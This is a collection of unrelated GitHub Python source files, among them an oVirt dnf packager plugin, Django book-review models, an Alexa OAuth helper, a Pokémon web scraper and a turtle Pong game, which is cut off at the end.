+{"seq_id":"25814465973","text":"#\n# otopi -- plugable installer\n#\n\n\n\"\"\"dnf packager provider.\"\"\"\n\n\nimport gettext\nimport os\nimport time\n\n\nfrom otopi import constants\nfrom otopi import packager\nfrom otopi import plugin\nfrom otopi import transaction\nfrom otopi import util\n\n\ndef _(m):\n return gettext.dgettext(message=m, domain='otopi')\n\n\n@util.export\nclass Plugin(plugin.PluginBase, packager.PackagerBase):\n \"\"\"dnf packager provider.\n\n Confirms:\n Confirms.GPG_KEY -- confirm use of gpg key.\n\n \"\"\"\n\n class DNFTransaction(transaction.TransactionElement):\n \"\"\"dnf transaction element.\"\"\"\n\n def __init__(self, parent):\n self._parent = parent\n\n def __str__(self):\n return _(\"DNF Transaction\")\n\n def prepare(self):\n self._parent.beginTransaction()\n\n def abort(self):\n self._parent.endTransaction(\n rollback=self._parent.environment[\n constants.PackEnv.DNF_ROLLBACK\n ],\n )\n\n def commit(self):\n self._parent.endTransaction(rollback=False)\n\n def _getMiniDNF(\n self,\n disabledPlugins=(),\n ):\n from otopi import minidnf\n\n class _MyMiniDNFSink(minidnf.MiniDNFSinkBase):\n \"\"\"minidnf interaction.\"\"\"\n\n def _touch(self):\n self._last = time.time()\n\n def __init__(self, parent):\n super(_MyMiniDNFSink, self).__init__()\n self._parent = parent\n self._touch()\n\n def verbose(self, msg):\n super(_MyMiniDNFSink, self).verbose(msg)\n self._parent.logger.debug('DNF %s' % msg)\n\n def info(self, msg):\n super(_MyMiniDNFSink, self).info(msg)\n self._parent.logger.info('DNF %s' % msg)\n self._touch()\n\n def error(self, msg):\n super(_MyMiniDNFSink, self).error(msg)\n self._parent.logger.error('DNF %s' % msg)\n self._touch()\n\n def keepAlive(self, msg):\n super(_MyMiniDNFSink, self).keepAlive(msg)\n if time.time() - self._last >= self._parent.environment[\n constants.PackEnv.KEEP_ALIVE_INTERVAL\n ]:\n self.info(msg)\n\n def askForGPGKeyImport(self, userid, hexkeyid):\n return self._parent.dialog.confirm(\n constants.Confirms.GPG_KEY,\n _(\n 'Confirm use of GPG Key '\n 'userid={userid} hexkeyid={hexkeyid}'\n ).format(\n userid=userid,\n hexkeyid=hexkeyid,\n )\n )\n\n def reexec(self):\n super(_MyMiniDNFSink, self).reexec()\n self._parent.context.notify(self._parent.context.NOTIFY_REEXEC)\n\n return minidnf.MiniDNF(\n sink=_MyMiniDNFSink(parent=self),\n disabledPlugins=disabledPlugins,\n )\n\n def __init__(self, context):\n super(Plugin, self).__init__(context=context)\n self._minidnf = None\n self._enabled = False\n\n @plugin.event(\n stage=plugin.Stages.STAGE_BOOT,\n before=(\n constants.Stages.YUM_PACKAGER_BOOT,\n # Run before yum, because if we have both, we want dnf to be used\n # and not yum.\n ),\n after=(\n constants.Stages.DIALOG_BOOT_DONE,\n ),\n )\n def _boot(self):\n self.environment.setdefault(\n constants.PackEnv.DNFPACKAGER_ENABLED,\n packager.ok_to_use_dnf()\n )\n self.environment.setdefault(\n constants.PackEnv.DNF_DISABLED_PLUGINS,\n []\n )\n self.environment.setdefault(\n constants.PackEnv.KEEP_ALIVE_INTERVAL,\n constants.Defaults.PACKAGER_KEEP_ALIVE_INTERVAL\n )\n self.environment.setdefault(\n constants.PackEnv.DNFPACKAGER_EXPIRE_CACHE,\n True\n )\n self.environment.setdefault(\n constants.PackEnv.DNF_ROLLBACK,\n True\n )\n\n try:\n if self.environment[constants.PackEnv.DNFPACKAGER_ENABLED]:\n self._minidnf = self._getMiniDNF(\n disabledPlugins=self.environment[\n constants.PackEnv.DNF_DISABLED_PLUGINS\n ],\n )\n\n # the following will trigger the NOTIFY_REEXEC\n # and then reexecute\n if os.geteuid() == 0:\n self._minidnf.selinux_role()\n self._enabled = True\n self.environment[\n constants.PackEnv.YUMPACKAGER_ENABLED\n ] = False\n except Exception:\n # not calling with exc_info=True, because we always try to\n # load DNF support first, polluting the logs with misleading\n # tracebacks when running on yum-based operating systems\n self.logger.debug('Cannot initialize minidnf', exc_info=True)\n\n @plugin.event(\n before=(\n constants.Stages.PACKAGERS_DETECTION,\n ),\n stage=plugin.Stages.STAGE_INIT,\n priority=plugin.Stages.PRIORITY_HIGH,\n condition=lambda self: self._enabled,\n )\n def _init(self):\n if self.environment[constants.PackEnv.DNFPACKAGER_ENABLED]:\n self.logger.debug('Registering dnf packager')\n self.context.registerPackager(packager=self)\n else:\n self._enabled = False\n\n @plugin.event(\n stage=plugin.Stages.STAGE_SETUP,\n priority=plugin.Stages.PRIORITY_HIGH-1,\n condition=lambda self: self._enabled,\n )\n def _setup_existence(self):\n self._enabled = self.packager == self\n\n @plugin.event(\n stage=plugin.Stages.STAGE_SETUP,\n priority=plugin.Stages.PRIORITY_HIGH,\n condition=lambda self: self._enabled,\n )\n def _setup(self):\n if self.environment[constants.PackEnv.DNFPACKAGER_EXPIRE_CACHE]:\n with self._minidnf.transaction():\n self._minidnf.clean(['expire-cache'])\n self.environment[constants.CoreEnv.MAIN_TRANSACTION].append(\n self.DNFTransaction(\n parent=self,\n )\n )\n self.logger.debug(self._minidnf.getConf())\n self.environment[\n constants.CoreEnv.INTERNAL_PACKAGES_TRANSACTION\n ].append(\n self.DNFTransaction(\n parent=self,\n )\n )\n\n @plugin.event(\n stage=plugin.Stages.STAGE_INTERNAL_PACKAGES,\n priority=plugin.Stages.PRIORITY_LAST,\n condition=lambda self: self._enabled,\n )\n def _internal_packages_end(self):\n self.processTransaction()\n\n @plugin.event(\n stage=plugin.Stages.STAGE_PACKAGES,\n priority=plugin.Stages.PRIORITY_LAST,\n condition=lambda self: self._enabled,\n )\n def _packages(self):\n self.processTransaction()\n\n # PackagerBase\n\n def beginTransaction(self):\n return self._minidnf.beginTransaction()\n\n def endTransaction(self, rollback=False):\n ret = self._minidnf.endTransaction(rollback=rollback)\n return ret\n\n def processTransaction(self):\n if self._minidnf.buildTransaction():\n self.logger.debug(\"Transaction Summary:\")\n for p in self._minidnf.queryTransaction():\n self.logger.debug(\n \" %s - %s\",\n p['operation'],\n p['display_name'],\n )\n self._minidnf.processTransaction()\n\n def installGroup(self, group, ignoreErrors=False):\n return self._minidnf.installGroup(\n group=group,\n ignoreErrors=ignoreErrors,\n )\n\n def updateGroup(self, group, ignoreErrors=False):\n return self._minidnf.updateGroup(\n group=group,\n ignoreErrors=ignoreErrors,\n )\n\n def removeGroup(self, group, ignoreErrors=False):\n return self._minidnf.removeGroup(\n group=group,\n ignoreErrors=ignoreErrors,\n )\n\n def install(self, packages, ignoreErrors=False):\n return self._minidnf.install(\n packages=packages,\n ignoreErrors=ignoreErrors,\n )\n\n def update(self, packages, ignoreErrors=False):\n return self._minidnf.update(\n packages=packages,\n ignoreErrors=ignoreErrors,\n )\n\n def installUpdate(self, packages, ignoreErrors=False):\n return self._minidnf.installUpdate(\n packages=packages,\n ignoreErrors=ignoreErrors,\n )\n\n def remove(self, packages, ignoreErrors=False):\n return self._minidnf.remove(\n packages=packages,\n ignoreErrors=ignoreErrors,\n )\n\n def queryGroups(self):\n return self._minidnf.queryGroups()\n\n def queryPackages(self, patterns=None, listAll=False):\n return self._minidnf.queryPackages(\n patterns=patterns,\n showdups=listAll,\n )\n\n def checkForSafeUpdate(self, packages=None):\n return self._minidnf.checkForSafeUpdate(\n packages=packages,\n )\n\n\n# vim: expandtab tabstop=4 shiftwidth=4\n","repo_name":"oVirt/otopi","sub_path":"src/plugins/otopi/packagers/dnfpackager.py","file_name":"dnfpackager.py","file_ext":"py","file_size_in_byte":9345,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"14123766248","text":"import unittest\n\nfrom utils.tokenization import Tokenizer\n\nfrom utils.reader import Reader\n\n\nclass TokenizerTest(unittest.TestCase):\n def testtokenizerfromfile(self):\n reader = Reader()\n soup = reader.readfile()\n threads = reader.makeobjectsfromxml(soup)\n tokenizer = Tokenizer(threads)\n threads_tokenized = tokenizer.tokenize()\n for thread in threads_tokenized:\n print(thread._query._body)\n for document in thread._documents:\n print(document._text)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"juliedeschepper/searchengine","sub_path":"test/testtokenization.py","file_name":"testtokenization.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70141922164","text":"\"\"\"Convert hdf5 testing data to csv.\"\"\"\n\nimport h5py\nimport numpy as np\nimport pandas as pd\n\nimport parameters as params\n\n# Load the testing data\nfilename = \"testing_\" + params.test_on\nfilepath = \"../data/\" + params.session + '/' + filename\nh5f = h5py.File(filepath + '.h5', 'r')\n\ndistances = np.array(h5f['distances'], dtype=float)\npositions = np.array(h5f['positions'], dtype=float)\nrewards = np.array(h5f['rewards'], dtype=float)\nsteps = np.array(h5f['steps'], dtype=float)\n\nvrep_steps = np.array(h5f['vrep_steps'], dtype=float)\ntravelled_distances = np.array(h5f['travelled_distances'], dtype=float)\n\ndf_1 = pd.DataFrame(data=np.array([distances, positions[:,0], positions[:,1], rewards, steps]).T,\n columns=['distances', 'positions[0]', 'positions[1]','rewards', 'steps'])\n\ndf_2 = pd.DataFrame(data=np.array([vrep_steps, travelled_distances]).T,\n columns=['vrep_steps', 'travelled_distances'])\n\ndf_1.to_csv(path_or_buf=filepath + \"_df_1.csv\")\ndf_2.to_csv(path_or_buf=filepath + \"_df_2.csv\")\n","repo_name":"chris-clem/Autonomous-Locomotion-Control-for-a-Snike-Like-Robot-with-a-DVS-and-a-SNN","sub_path":"controller/hdf5_to_csv_testing.py","file_name":"hdf5_to_csv_testing.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"7444872919","text":"from __future__ import unicode_literals\nfrom django.db import models\n\nclass AuthorManager(models.Manager):\n def create_validator(self, postData):\n errors = {}\n if len(postData['author_new']) < 2:\n errors[\"author\"] = \"Author name should be more than 2 characters\"\n elif Author.objects.filter(name=postData['author_new']).count() > 0:\n errors['author'] = \"This author name {} already exists\".format(postData['author_new'])\n\n return errors\n\nclass BookManager(models.Manager):\n def create_validator(self, postData):\n errors = {}\n if len(postData['title']) < 2:\n errors[\"title\"] = \"Title should be more than 2 characters\"\n elif Book.objects.filter(title=postData['title']).count() > 0:\n errors['title'] = \"This book title {} already exists\".format(postData['title'])\n\n return errors\n\nclass Book_ReviewManager(models.Manager):\n def create_validator(self, postData):\n errors = {}\n if len(postData['review']) < 5:\n errors[\"title\"] = \"Title should be more than 5 characters\"\n return errors\n\n\nclass Author(models.Model):\n name = models.CharField(max_length=255)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n objects = AuthorManager()\n\nclass Book(models.Model):\n title = models.CharField(max_length=255)\n author = models.ForeignKey(Author, on_delete=models.CASCADE, related_name=\"books\")\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n objects = BookManager()\n reviewers = models.ManyToManyField('login.User', through='Book_Review', related_name=\"reviewed_books\")\n\n# Many to many relationship between users and books\nclass Book_Review(models.Model):\n # One user can review many books\n user = models.ForeignKey('login.User', on_delete=models.CASCADE, related_name=\"user_reviews\")\n # One book can be reviewed by many users\n book = models.ForeignKey(Book, on_delete=models.CASCADE, related_name=\"book_reviews\")\n\n review = models.TextField()\n rating = models.IntegerField()\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n objects = Book_ReviewManager()","repo_name":"thydev/django-bookreview","sub_path":"apps/books/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14801232060","text":"import matplotlib.pyplot as plt\r\nfrom wordcloud import WordCloud\r\nfrom nltk.corpus import stopwords\r\nimport numpy\r\nplt.rcdefaults()\r\n\r\ndef showWordCloud(data, title = None, path=None,show=False):\r\n stopWords = stopwords.words('english')\r\n wordcloud = WordCloud(background_color='black',stopwords=stopWords,max_words=200,max_font_size=40,scale=3,random_state=1,width=600,height=600).generate(str(data))\r\n plt.axis('off')\r\n if title: \r\n plt.title(title)\r\n plt.imshow(wordcloud)\r\n if path:\r\n plt.savefig(path+'_WordCloud.png',bbox_inches='tight',dpi=300) \r\n if show:\r\n plt.show()\r\n plt.close()\r\n \r\n \r\ndef showBoxPlot(xData,yData,title=None,xLabel=None,yLable=None, path=None,show=False):\r\n yItems =xData\r\n xItems = yData\r\n y_pos = numpy.arange(len(xItems))\r\n plt.bar(y_pos, yItems)\r\n if yLable:\r\n plt.ylabel(yLable)\r\n if xLabel:\r\n plt.ylabel(xLabel)\r\n if title: \r\n plt.title(title)\r\n plt.xticks(y_pos, xItems)\r\n if path:\r\n plt.savefig(path+'_BarPlot.png',bbox_inches='tight',dpi=300)\r\n if show:\r\n plt.show()\r\n plt.close()","repo_name":"mithileshmohanty/ISBAnalytics","sub_path":"TextAnalytics/GroupAssignment-1/PlotGraph.py","file_name":"PlotGraph.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30851369769","text":"'''Crie um programa que tenha uma função fatorial() que receba dois parâmetros: \no primeiro que indique o número a calcular e outro chamado show, que será um valor \nlógico (opcional) indicando se será mostrado ou não na tela o processo de cálculo do fatorial.'''\n\n\ndef fatorial(n=0, show=False):\n \"\"\"\n -> Calcula fatorial:\n -parametro n: Número a ser calculado\n -parametro show=False: (Opcional), caso queria mostar o calculo -- show=True\n \"\"\"\n fac = 1\n print(f'{n}! = ', end='')\n for c in range(n, 0, -1):\n fac *= c\n if show:\n if c != 1:\n print(f'{c}', end=' -> ', sep=' = ')\n else:\n print(f'{c}', end=' = ')\n return (f'{fac}')\n\n\nnumero = int(input('Número: '))\n\nprint(f'{fatorial(numero)}')\n","repo_name":"digas06/Aprendizado_Python","sub_path":"Modulo03/Estruturas_compostas/102.py","file_name":"102.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19484422376","text":"import pandas as pd\r\nimport numpy as np\r\nimport os\r\nimport sys\r\nfrom selector_sp import select, create_map_reverse\r\n\r\n\r\ndef read_db_homology(dir_name, filename):\r\n df = pd.read_csv(dir_name + \"/\" + filename, compression='gzip', sep='\\t')\r\n n = filename.split(\".\")[0]\r\n n = n.split(\" \")[0]\r\n return df, n\r\n\r\n\r\ndef get_selection_data():\r\n with open(\"dist_matrix\", \"r\") as file:\r\n matrix = file.readlines()\r\n matrix = [x.split(\"\\t\") for x in matrix]\r\n matrix = [[float(y) for y in x] for x in matrix]\r\n matrix = np.array(matrix)\r\n with open(\"sp_names\", \"r\") as file:\r\n dname = file.readlines()\r\n dname = [x.split(\"\\n\")[0] for x in dname]\r\n spnmap, nspmap = create_map_reverse(dname)\r\n return matrix, spnmap, nspmap\r\n\r\n\r\ndef read_select_data(dirname, matrix, spnmap, nspmap, nos):\r\n lf = os.listdir(dirname)\r\n if len(lf) == 0:\r\n print(\"No Files in the Directory!!!!!!!\")\r\n sys.exit(1)\r\n if not os.path.isdir(\"processed\"):\r\n os.mkdir(\"processed\")\r\n for x in lf:\r\n df, n = read_db_homology(dirname, x)\r\n n = n.split(\" \")[0]\r\n df = select(df, nos, matrix, spnmap, nspmap, n)\r\n (len(df) == nos)\r\n indexes = np.array(list(df.index.values))\r\n np.save(\"processed/\" + n + \"_selected_indexes\", indexes)\r\n\r\n\r\ndef main():\r\n arg = sys.argv\r\n nos = int(arg[-1])\r\n matrix, spnmap, nspmap = get_selection_data()\r\n read_select_data(\"data_homology\", matrix, spnmap, nspmap, nos)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"EnsemblGSOC/compara-deep-learning","sub_path":"select_data.py","file_name":"select_data.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"39458057201","text":"from lib.config import get_client\nfrom lib.DataSoup import BDXDataSoup\nfrom lib.PyBDXBuilder import PyBDX\nfrom knockknock import slack_sender\n\n# load Client from environment\nCLIENT = get_client()\n\n@slack_sender(\n webhook_url=CLIENT.REPORT_AUTOMATION_WEBHOOK,\n channel='report-automation',\n user_mentions=['joey@getcommunity.com']\n)\ndef fetch_bdx_pricing():\n output_message = []\n try:\n # run PyBDX\n BDX: PyBDX = PyBDX(\n client=CLIENT, download=True, analyze=True, convert=True, upload=False\n )\n # print(BDX)\n # exit()\n # Load current data\n cur_file = f\"{BDX.xml_files.data[0].src}/{BDX.xml_files.data[0].file}\"\n BDX_curr: BDXDataSoup | None = BDX.ReheatSoup(cur_file, CLIENT)\n if not isinstance(BDX_curr, BDXDataSoup):\n raise Exception('BDXDataSoup not found')\n \n # append data source info\n cur_data_source = \"Current: %d plans found in %s\" % (\n len(BDX_curr.raw[\"plans\"]), cur_file\n )\n output_message.append(cur_data_source)\n\n # Load previous data if applicable\n BDX_prev: BDXDataSoup | None = None\n if len(BDX.xml_files.data) > 1:\n prev_file = f\"{BDX.xml_files.data[0].src}/{BDX.xml_files.data[1].file}\"\n BDX_prev = BDX.ReheatSoup(prev_file, CLIENT)\n if not isinstance(BDX_prev, BDXDataSoup):\n raise Exception('Previous BDXDataSoup not found')\n prev_data_source = \"Previous: %d plans found in %s\" % (\n len(BDX_prev.raw[\"plans\"]), prev_file\n )\n output_message.append(prev_data_source)\n\n output_message.append(16 * \"----\")\n\n # loop current and previous plans\n for i, cur_plan in enumerate(BDX_curr.raw[\"plans\"]):\n # current plan builder and subdiv\n cp_builder = (\n BDX.findMatchingCPT(\n needle=cur_plan.builder[0], haystack=BDX_curr.raw[\"builders\"]\n )\n if len(cur_plan.builder) > 0\n else None\n )\n cp_subdiv = (\n BDX.findMatchingCPT(needle=cur_plan.subdiv[0], haystack=BDX_curr.raw[\"subdivs\"])\n if len(cur_plan.subdiv) > 0\n else None\n )\n\n prev_plan = None\n if BDX_prev is not None:\n # previous plan, builder, and subdiv\n prev_plan = (\n BDX.findMatchingPlan(\n needle=cur_plan,\n haystack=BDX_prev.raw[\"plans\"]\n ) or None\n )\n pp_builder = (\n BDX.findMatchingCPT(\n needle=prev_plan.builder,\n haystack=BDX_prev.raw[\"builders\"]\n )\n if prev_plan and len(prev_plan.builder) > 0\n else None\n )\n pp_subdiv = (\n BDX.findMatchingCPT(\n needle=prev_plan.subdiv,\n haystack=BDX_prev.raw[\"subdivs\"]\n )\n if prev_plan and len(prev_plan.subdiv) > 0\n else None\n )\n\n # calculate any observed pricing changes, or get current plan price\n plan_price = BDX.calcPlanPricing(prev_plan, cur_plan)\n\n # print current plan info\n if cp_builder is not None:\n output_message.append(cp_builder.name)\n if cp_subdiv is not None:\n output_message.append(cp_subdiv.name)\n output_message.append(cur_plan.name)\n output_message.append(plan_price)\n output_message.append('')\n except (Exception) as e:\n output_message.append('ERROR:')\n print(e)\n finally:\n output_str = '\\n'.join(output_message)\n return output_str\n\nif __name__ == '__main__':\n print( fetch_bdx_pricing() )\n","repo_name":"joeygrable94/PyBDX","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10217463995","text":"import time\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\nclass myChlData:\r\n allData = []\r\n dataPiece = 0\r\n\r\n def __init__(self, time, chl):\r\n self.time = time\r\n self.chl = chl\r\n myChlData.allData.append(self)\r\n myChlData.dataPiece += 1\r\n\r\n def myPrint():\r\n for data in myChlData.allData:\r\n print(\"time is:\", data.time, \",chl is:\", data.chl)\r\n\r\n def readFromFile(src):\r\n #src = './trial.txt'\r\n try:\r\n f = open(src, \"r+\", encoding=\"utf-8\")\r\n except IOError:\r\n print(\"can't open the file\")\r\n else:\r\n data = f.read().splitlines()\r\n n = int(data[0])\r\n for i in range(0, n):\r\n time = data[2*i+1]\r\n chl = int(data[2*i+2])\r\n myChlData(time, chl)\r\n f.close\r\n\r\n def saveToFile(src):\r\n try:\r\n f = open(src, 'w', encoding='utf-8')\r\n except IOError:\r\n print(\"can't open the file\")\r\n else:\r\n f.write(str(myChlData.dataPiece) + '\\n')\r\n for data in myChlData.allData:\r\n f.write(str(data.time) + '\\n')\r\n f.write(str(data.chl) + '\\n')\r\n f.close\r\n\r\n def drawChlLineChart():\r\n x_axis_data = list(range(1, myChlData.dataPiece + 1))\r\n y_axis_data = []\r\n\r\n for data in myChlData.allData:\r\n y_axis_data.append(data.chl)\r\n\r\n for x, y in zip(x_axis_data, y_axis_data):\r\n plt.text(x, y+0.3, '%.00f' % y, ha='center',\r\n va='bottom', fontsize=7.5) # y_axis_data1加标签数据\r\n\r\n plt.plot(x_axis_data, y_axis_data, 'b*--', alpha=0.5,\r\n linewidth=1, label='acc') # 'bo-'表示蓝色实线,数据点实心原点标注\r\n # plot中参数的含义分别是横轴值,纵轴值,线的形状('s'方块,'o'实心圆点,'*'五角星 ...,颜色,透明度,线的宽度和标签 ,\r\n\r\n plt.legend() # 显示上面的label\r\n plt.xlabel('time') # x_label\r\n plt.ylabel('number') # y_label\r\n\r\n # plt.ylim(-1,1)#仅设置y轴坐标范围\r\n plt.show()\r\n","repo_name":"letsgoexplore/Automated-Potting-Machine","sub_path":"myChlData.py","file_name":"myChlData.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16115138278","text":"from collections import OrderedDict\nimport json\nfrom urllib.parse import urlencode, quote\n\n\nclass AmazonOauth2RequestManager:\n authorization_request_url = 'https://www.amazon.com/ap/oa'\n authorization_grant_url = 'https://api.amazon.com/auth/o2/token'\n access_token_url = authorization_grant_url\n\n def __init__(self, client_id, client_secret):\n self.client_id = client_id\n self.client_secret = client_secret\n\n def get_authorization_request_url(self, device_type_id, callback_url):\n # OrderedDict to facilitate testing\n params = OrderedDict([\n ('client_id', self.client_id),\n ('scope', 'alexa:all'),\n ('scope_data', json.dumps({\n 'alexa:all': OrderedDict([\n ('productID', device_type_id),\n ('productInstanceAttributes', {\n 'deviceSerialNumber': '001'\n })\n ])\n })),\n ('response_type', 'code'),\n ('redirect_uri', callback_url)\n ])\n return self.authorization_request_url + '?' + urlencode(params)\n\n def get_authorizarization_grant_params(self, code, callback_url):\n return {\n 'client_id': self.client_id,\n 'client_secret': self.client_secret,\n 'code': quote(code),\n 'grant_type': 'authorization_code',\n 'redirect_uri': callback_url,\n }\n\n def get_access_token_params(self, refresh_token):\n return {\n 'client_id': self.client_id,\n 'client_secret': self.client_secret,\n 'refresh_token': refresh_token,\n 'grant_type': 'refresh_token',\n }\n","repo_name":"richtier/alexa-voice-service-client","sub_path":"alexa_client/refreshtoken/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"75"} +{"seq_id":"32032408965","text":"import uuid\n\nfrom sqlalchemy.dialects.postgresql import UUID\n\nfrom schema_registry.api.models.gino import db\n\n\nclass Field(db.Model):\n __tablename__ = 'fields'\n\n id = db.Column( # noqa A003\n UUID,\n primary_key=True,\n default=uuid.uuid4,\n unique=True,\n nullable=False,\n doc='Уникальный идентификатор поля',\n )\n schema_id = db.Column(\n UUID,\n nullable=True,\n doc='Ссылка на схему',\n comment='Ссылка на схему',\n )\n name = db.Column(db.String, nullable=False, doc='Имя поля')\n external = db.Column(db.Boolean, nullable=False, doc='')\n extend = db.Column(db.Boolean, nullable=False, doc='')\n\n @classmethod\n def bulk_insert(cls, values):\n return cls.insert().gino.all(values)\n","repo_name":"winex888/federation_graphql","sub_path":"schema_registry/schema_registry/api/models/field.py","file_name":"field.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6535171411","text":"import pandas as pd\n\n# Input list of words\nwords = [\"apple\", \"banana\", \"cherry\", \"kiwi\", \"mango\", \"orange\", \"strawberry\"]\n\n# Write your code below to solve the challenge.\nwords_length = pd.Series([len(word) for word in words], index=words)\nmean = words_length.mean()\nfiltered_words = words_length[words_length >= mean]\n\nprint(filtered_words)\n","repo_name":"Pugking4/Projects","sub_path":"pandas/series/word_length.py","file_name":"word_length.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31351949259","text":"\nimport scrapy\n\n\nclass PokemonScrapper(scrapy.Spider):\n name = 'pokemon_scrapper'\n domain = 'https://bulbapedia.bulbagarden.net'\n start_urls = [\n\t \"https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number\"]\n\n pokemonClass = {\n \"name\" : \"\",\n \"ndex\" : \"\",\n \"height\" : \"\",\n \"weight\" : \"\",\n \"color\": \"\",\n \"type1\": \"\",\n \"type2\": \"\"\n }\n\n def parse(self, response):\n pokemons = response.css('tr')\n \n for pokemon in pokemons:\n\n pokemon_url = pokemon.css('td>a::attr(href)').get()\n \n if pokemon_url is not None:\n yield response.follow(self.domain + pokemon_url, self.parse_pokemon)\n\n def parse_pokemon(self, response):\n \n self.pokemonClass[\"name\"] = response.css('td big big b::text').get()\n self.pokemonClass[\"ndex\"] = response.xpath('string(/html/body/div[2]/div[1]/div[2]/div[6]/div[4]/div/table[2]/tbody/tr[1]/td/table/tbody/tr[1]/th/big/big/a/span)').re(r\"#\\d+\")[0]\n self.pokemonClass[\"height\"] = response.xpath('string(//*[@id=\"mw-content-text\"]/div/table[2])').re(r\"\\d+\\.\\d+ m\")[0]\n self.pokemonClass[\"weight\"] = response.xpath('string(//*[@id=\"mw-content-text\"]/div/table[2])').re(r\"\\d+\\.\\d+ kg\")[0]\n self.pokemonClass[\"color\"] = response.xpath('string(//a[@title=\"List of Pokémon by color\"]/../../table/tbody/tr/td/text())').get().strip()\n self.pokemonClass[\"type1\"] = response.xpath('string(/html/body/div[2]/div[1]/div[2]/div[6]/div[4]/div/table[2]/tbody/tr[2]/td/table/tbody/tr/td[1]/table/tbody/tr/td[1]/a/span/b)').re(r\"\\w+\")[0]\n self.pokemonClass[\"type2\"] = response.xpath('string(/html/body/div[2]/div[1]/div[2]/div[6]/div[4]/div/table[2]/tbody/tr[2]/td/table/tbody/tr/td[1]/table/tbody/tr/td[2]/a/span/b)').re(r\"\\w+\")[0]\n \n yield self.pokemonClass\n # yield {\n # 'name': response.css('td big big b::text').get(),\n # 'ndex': response.xpath('string(/html/body/div[2]/div[1]/div[2]/div[6]/div[4]/div/table[2]/tbody/tr[1]/td/table/tbody/tr[1]/th/big/big/a/span)').re(r\"#\\d+\")[0],\n # 'height': response.xpath('string(//*[@id=\"mw-content-text\"]/div/table[2])').re(r\"\\d+\\.\\d+ m\")[0],\n # 'weight': response.xpath('string(//*[@id=\"mw-content-text\"]/div/table[2])').re(r\"\\d+\\.\\d+ kg\")[0],\n # }\n\t\t\n","repo_name":"GustavoYamauchi/EP1CD-ExtracaoDeDadosPokemons","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13077687045","text":"import numpy as np\nimport cv2\n\nimg = cv2.imread('opencv-logo.png')\nimg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nret,thresh = cv2.threshold(img,127,255,0)\ncontours, hierarchy = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\nprint(hierarchy)\ncv2.drawContours(img, contours, -1, (0,255,0), 3)\ncv2.imshow('dst',img)\ncv2.waitKey(0)\n","repo_name":"praseedm/Advance-AI","sub_path":"ML/Day13/17contours.py","file_name":"17contours.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"16322243992","text":"from turtle import Screen\r\nfrom paddle import Paddle\r\nfrom ball import Ball\r\nfrom scoreboard import Scoreboard\r\nimport time\r\n\r\nscreen = Screen()\r\nscreen.bgcolor(\"black\")\r\nscreen.setup(width=800, height=600)\r\nscreen.title(\"Pong\")\r\n# Used to turn off animation\r\n# You need manually update any changes required on the screen henceforth\r\n# The screen also requires refreshing\r\nscreen.tracer(0)\r\n\r\nr_paddle = Paddle((350, 0))\r\nl_paddle = Paddle((-350, 0))\r\nball = Ball()\r\nscoreboard = Scoreboard()\r\n\r\nscreen.listen()\r\nscreen.onkey(r_paddle.go_up, \"Up\")\r\nscreen.onkey(r_paddle.go_down, \"Down\")\r\nscreen.onkey(l_paddle.go_up, \"w\")\r\nscreen.onkey(l_paddle.go_down, \"s\")\r\n\r\ngame_is_on = True\r\nwhile game_is_on:\r\n # To move the ball at a reasonable pace\r\n # Increase pace after each paddle hit\r\n time.sleep(ball.pace)\r\n # NOTE: Screen Tracer is off prevent animations from showing onscreen\r\n # Here, we update the screen after performing the necessary turtle movements\r\n # without the corresponding animations from turning up onscreen\r\n screen.update()\r\n ball.move()\r\n\r\n # Detect collision with ball at the top and bottom\r\n if ball.ycor() > 280 or ball.ycor() < -280:\r\n ball.bounce_y()\r\n\r\n # Detect contact with the paddle\r\n if (ball.distance(r_paddle) < 50 and ball.xcor() > 320) or (ball.distance(l_paddle) < 50 and ball.xcor() < -320):\r\n ball.bounce_x()\r\n\r\n # Detect r paddle miss\r\n if 